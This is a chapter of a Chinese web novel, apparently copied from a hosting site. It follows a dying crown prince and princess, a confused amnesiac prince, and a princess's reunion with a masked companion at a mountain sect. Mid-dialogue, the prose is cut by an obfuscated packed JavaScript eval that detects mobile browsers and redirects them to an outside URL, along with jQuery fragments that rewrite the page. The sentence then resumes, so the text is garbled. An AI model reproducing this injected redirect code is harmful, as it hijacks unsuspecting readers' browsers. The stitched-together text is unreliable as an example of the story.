第九十八章 清风吹我襟
(蔻燎)
怎是无缘无故,怎会是无缘无故呢?
落花啼咬着嘴唇,压制火气,无视曲探幽那慌张无辜的眼神。
殿外的太医汗流浃背,如履薄冰道,“王上,王后,二王子,长公主,二公主……太子殿下与太子妃的肺部恰如草絮,残破败死,已——回天无力了。”
“此病极会过人,还是防范些得好。”
虽是明白太医不会乱下结论,可真真切切听见这些话,落花啼的心跳还是滞了滞,唇瓣在狠力的作用下洇出了血线。
她道,“不管如何,竭尽全力去救治他们,不能放弃一点机会。”
太医哆嗦道,“是,春还长公主。”
众人在太医的提示下,戴好预防传染的面巾,伫立在一孔窗户外,勾着脖颈去瞅里面的隔绝外界的落花鸣和曲柔忆夫妇。
窗户半敛,留了窄窄的胳膊粗细的缝隙,得寻找合适的角度才能窥见其中光景。
软榻上,落花鸣,曲柔忆披衣而坐,面对面在饮一杯茶,旁边是蒙了面巾的宦官在伺候。
无处不在的浓浓草药味把屋子给腌入味了,与曲探幽大病初醒的那段时间的药味别无二致,闻着令人心悸。
他们多月来咳血不止,食不下咽,骨瘦如柴,与上一回见面的模样简直判若两人。
两人朝外点点头,算是给国王王后行礼,也算与弟妹打招呼。
落花鸣搂着弱不胜衣的曲柔忆,眉间的暗纹拧成了揉按不消的标准“川”字,似乎痛苦得不知如何是好,疾病和心境的种种折磨,害得他支撑不住。
曲柔忆瘦得腮面陷下去三分,惹人垂怜,她没力气动身,说句话都喘三口气,手中帕子红了一块又一块,一双美眸汪了水液,一颗一颗圆滚滚地跌落。
她道,“咳咳咳,太子哥哥?咳,我方才听到太子哥哥的声音了,他来了?他真的来了?”
仿佛揪住了救命稻草,曲柔忆费力地一抬头,苍白的唇缓缓一动,使出全部力气去望窗外的白底金纹龙袍的身形。
然而,她没有望见那熟悉的倨傲尊贵的龙袍男子。
见此情况,落花啸吩咐人喊曲朝太子曲探幽过来探视亲妹妹,远远跟在队伍后面的曲探幽,出鞘入鞘等人绑好面巾,来到窗口。
曲柔忆看见穿了黑绸暗纹衣,表情陌生的曲探幽,怔了怔,哑然,哭得越发凶猛,“太子哥哥,你来看我了,咳咳,我,我思念曲朝,你是来带我回家的吗?咳咳,我想,想回去……”
曲柔忆啜泣,香帕拭泪,有气无力道,“父皇好狠的心啊,他将我哄来遥远的落花国,这么多年也未写信问问我过得如何?我于他而言,是可有可无的,所以他会派我来联姻,他不在乎我的死活……我什么都听他的,他为什么不心疼我呢?当初,我不应该受他蛊惑的,咳咳。”
“……太子哥哥,你带我走,我活不了多久了,让我回曲朝,回去落叶归根,好不好?”
曲探幽凝视白得像雪花的曲柔忆,眨眨眼,退后一步,感到莫名其妙,茫然道,“你是谁?为什么让我带你回家,你的家不在这里吗?”
“什么?‘我’?”
曲柔忆噎得几近呛死,美目瞪圆,“太子哥哥,你怎的不自称‘孤’了,你——”
手心的帕子绞得皱皱巴巴,像脸蛋上纠结迷惘的震惊。
落花啼一言蔽之把曲探幽在华龙山皇陵遇刺之事草草带过,她不忍看曲柔忆痛心疾首的样子,偏侧头颅,梗着颈项。
死一般寂静。
良久,曲柔忆怒急攻心,一口血沫“噗”地喷出,人儿蒲柳般倒回落花鸣的怀中,喘息困难,“不,不,怎会?怎会呢?”
落花鸣也无从反应过来,呆了一会,回过神压低声音在细语安慰曲柔忆,“柔忆,对不住,你千里迢迢远嫁而来,我却不能用举国之力治好你,是我无能,既如此,我们一同魂魄离世也无碍,是我欠你的,我答应过你会带你回曲朝看看,现下竟食言了。”
“太子,我,生下来就没有真正的家,在曲朝皇宫没有归属感,在落花国也没有我的归属,我这样的女子只是一个联姻的工具罢了。”
曲柔忆咳了一滩血,泡湿了锦绣衣领,红艳艳的,惨不忍睹。
窗外的落花啸横眉道,“花鸣!住嘴!什么一同魂魄离世?这话能随随便便说吗?”
落花鸣喉咙啐出血,凄然道,“父王,既然今日人来齐全了,不如谈谈日后册立新太子的事吧,我若一去,把太子之位交给花吟,他博览群书,学识浩瀚,自有一番治国爱民的见解……我放心,父王也能放心。”
“别说了!这些不是你操心的事!”落花啸一拂衣袖,背过身去,手臂抬起又放下,放下又抬起,隐隐有泣语声。
花汲人早就哭成泪人,倚着柱子险些站不直身子。
落花吟一搓脸皮,无奈耸肩,半是玩笑半是拒绝道,“大哥,你这是说的什么话?我何处比得上你?我是个死读书的,我对朝野政事一窍不通,你可不能随便撒手,这烫手山芋我一辈子都不接的,你要是丢下我们,地底下的祖宗都会把你推回来的。”
落花鸣苦笑,摇摇头,不置一词。
落花啼,落花蕊泪眼朦胧,哭得肩膀颤抖,言语不了。
落花国的太子倘若撑不住,落花国以后只能靠落花啼了,她是绝对不会让落花国像前世那样一夜之间覆灭消失。
不论利用曲柔忆暗害落花鸣的计谋是曲远纣出的,还是曲探幽出的,她都无法善罢甘休,曲姓贼子,迟早要作她的阶下囚。
她回首凛冷地睇眄着曲探幽,拳头藏在袖中硬如铁石。
翌日,晨露未晞,草叶葱茏。
云儿白净,天幕澄明。
昨夜落花啼,曲探幽夫妻俩依例要住在西风愁坞的,但落花啼把大哥落花鸣所遭遇的算计全怪罪在曲探幽头上,也不顾现在的曲探幽脑子不好使,打发出鞘入鞘领着主子滚去风竹幽居安置。
出鞘入鞘三思一番,觉得还是让太子殿下暂且离太子妃远些比较安全,主仆们便乖乖去了种满冷箭竹的宫殿。
天一亮,纸鸢则去药房煎了一大碗热药,捧着托盘送去给曲探幽。
凉亭下,入鞘正小心翼翼取下曲探幽脑上的绷带,扒开头发去端详疤痕的愈合状态。
颀长扭曲的蜈蚣般的暗褐色疤痕嵌在皮肉里,硬是任何人看了都会恻隐之心大动,为其悲哀惋惜。
纸鸢上前放好药碗,恭敬道,“太子殿下,该喝药了。”
曲探幽支着下颌,凝望凉亭外簌簌抖抖迎风招展的一丛丛冷箭竹,眸渊里盛满了碧绿之色,他郁郁寡欢,泄气地摆摆头,无比失落,“姐姐她又讨厌我了,她为什么讨厌我?”
纸鸢道,“太子殿下,恐是有细微的误会,往后有机会逐一解开心结即可,太子妃心中是有太子殿下的。”
一旁的入鞘卷好绷带,抿嘴不语,仿佛是赞同又仿佛是反驳。
此时风竹幽居的大门处掠来宦官的通报声,锥子般刺入耳朵,“太子殿下,花蕊公主求见!”
在院内舞剑的出鞘盯了盯入鞘,两人对视半秒,同时看着曲探幽,道,“太子殿下,见吗?”
曲探幽明显听岔了,以为是“花啼公主”,忙站起来道,“见!要见!”
落花蕊身着一袭蓝紫色华丽公主裙,层层叠叠,金芒荡漾,发髻与妆容精致无双,一颦一笑堪比画中仙子。
她行走之时,臂弯的蓝色飘带像极了海浪波涛,泛着粼粼水光,丰姿冶丽,芳菲妩媚。
风鬟雾鬓,粉腮红润,肩若削成,腰似约素,乃是当之无愧的绝色美人。
落花国的公主,落花啼,落花蕊是百姓公认的大美人,且两姐妹眉眼略有四分相像,稍不注意便会错认。
她徐步走到亭下,福身一礼,“太子殿下,阿姊一大早有事外出,特意嘱咐我过来照顾你,看看你可有按时喝药。”
她睃一眼纸鸢和出鞘入鞘,示意他们别当碍眼的人,后三者不明落花蕊的具体意图,为表护佑太子的职责,硬邦邦地退出凉亭,竖起耳朵侧眸细听。
曲探幽一瞅来者非是穿红披绿的落花啼,而是落花啼的妹妹落花蕊,瞬间大失所望,跌坐回石椅上,叹气道,“怎么是你?姐姐呢?她去哪了?”
落花蕊每每听见曲探幽喊出“姐姐”二字,全身毛骨悚然,她咬唇,极度不甘道,“太子殿下,你,你还记得我吗?你真的忘记了以前的所有经历?”
你真的,是一个傻子吗?
曲探幽没好气道,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673661|188634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是姐姐的亲妹妹,也是个公主。”
他说,“姐姐到底去哪了?为何总是不捎上我?”
落花蕊苦笑,拧拧秀眉,只觉造化戏人,百感交集,“太子殿下,你想知道她去何处吗?想的话就把药喝了,我就告诉你。”
她手执药碗,拿调羹舀了黑药去喂曲探幽,瞳孔里的怜悯戚然藏都藏不住。
曲探幽一口饮下,觉得不够快,夺过药碗闷头吞咽,擦擦嘴角,“我喝完了,姐姐在哪?你不能耍赖。”
落花蕊用食指揩一下眼尾的泪水,笑了笑,“你莫慌急,阿姊初回落花国,自然得去灵暝山拜见她的师父花下眠了,不出意外,日暮前就归来了。”
“灵暝山?花下眠?”
曲探幽喃喃独语,捂着隐隐抽-动青筋的额头,面容煞白,欲语还休。
灵暝山的花下眠不在天相宗之内。
落花啼随着红衰翠减赶回灵暝山时,才后知后觉得到这一消息。
天相宗三师姐妹坐在台阶上,百无聊赖旋转着修剑玩,几名小道童逢见她们,皆是俯首行礼。
落花啼抠着额心,百思不得其解,“师父何以不在天相宗?上次武林大会结束她不是回落花国了吗?怎么我想见她一面比登天还难?”
红衰道,“师父,自有,安排。”
翠减道,“我们,无须,插手。”
“……哦。”
落花啼简直跟两师姐扯不到一块去,自个儿缩成一团生闷气,绝艳在地面转出了“咔咔”的火星子。
她拽住一道童的袖子,亟不可待道,“哎,不是找人去叫花-径深吗?他难道也不在天相宗?不行,我就不信了,他不出来,我自己去找他。”
将欲站起,眼前突然盖来一帘淄黑的阴影,罩住了蹲踞许久的落花啼的全身,密不透风。
落花啼一震,长叹一声,猛的跳起来狠扑过去,扑得花-径深踉跄着后退几步,两只手举在半空,停滞须臾,仍是颤抖地搂住她的腰肢,似是抱住了世间最宝贵的东西。
落花啼的嗓子含着哭音,她靠在花-径深的肩上,蹭一蹭,差点把花-径深的黑铁面具给掀掉,“你没事就好,你没事就好,这么久收不到你的信,不知晓你的生死,我,我怕极了。天底下的所有人都可以不理我,唯独你不能不理我。”
“花-径深,你在灵暝山,为何不给我写信报报平安?你的手臂好全了没?”
“好全了。”
花-径深粲然微笑,笑得下半边脸颊的毒疮撑得饱满,他放开落花啼,居高临下注目她,喉结一鼓,道,“公主殿下,你放心,我的手臂已经与从前无异,你看——”
他一手捏拳,在落花啼面前耍了几套拳式,速度迅如雷电,力道灵活强韧,可见确是好得没有一丝后遗症。
落花啼破涕为笑,发自肺腑地高兴,“太好了,你若是手臂断了好不了,我恐怕一辈子夜夜难眠了。”
“托公主殿下的吉福,老天爷是不会亏待我的。”
花-径深目不转睛望着落花啼,生怕少看一秒就再也看不见,他道,“公主殿下,你此次回来,那个他是否……”
“嗯,我回国省亲,曲探幽同行了。”
“……”花-径深笑而不言,不知真笑假笑,沉眸敛睫。
云绸沧浪青的衣袍在山风的轻吻下扬起一道波澜的弧度,猎猎炸响。
落花啼换了话题,开门见山,“花-径深,你知道师父目下在何处吗?她最是疼爱你,大抵会告知你她的去向吧?”
花-径深依旧不抬眼帘,觑着鞋面,似是而非,淡淡道,“师父……是去为天下人谋福事了,公主殿下,我也不明情况,不过师父做的是好事,你日后便能明白了。”
“好事?”
落花啼皱眉蹙额,脑瓜子都被思绪塞得杂乱无章,“是什么好事呢?”
两人一边聊一边往天相宗外走,携负银剑朝浩渺苍茫的无边花海去,准备在枝叶扶疏下练一场酣畅淋漓的武。
他们前脚旁若无人地刚走,坐在石阶上目睹全程的红衰翠减缓缓起身,心照不宣自鼻孔里挤出一鄙夷的冷笑。
红衰嗤道,“痴男。”
翠减戏谑道,“怨女。”
异口同声,“真假,难分,愚不,可及。”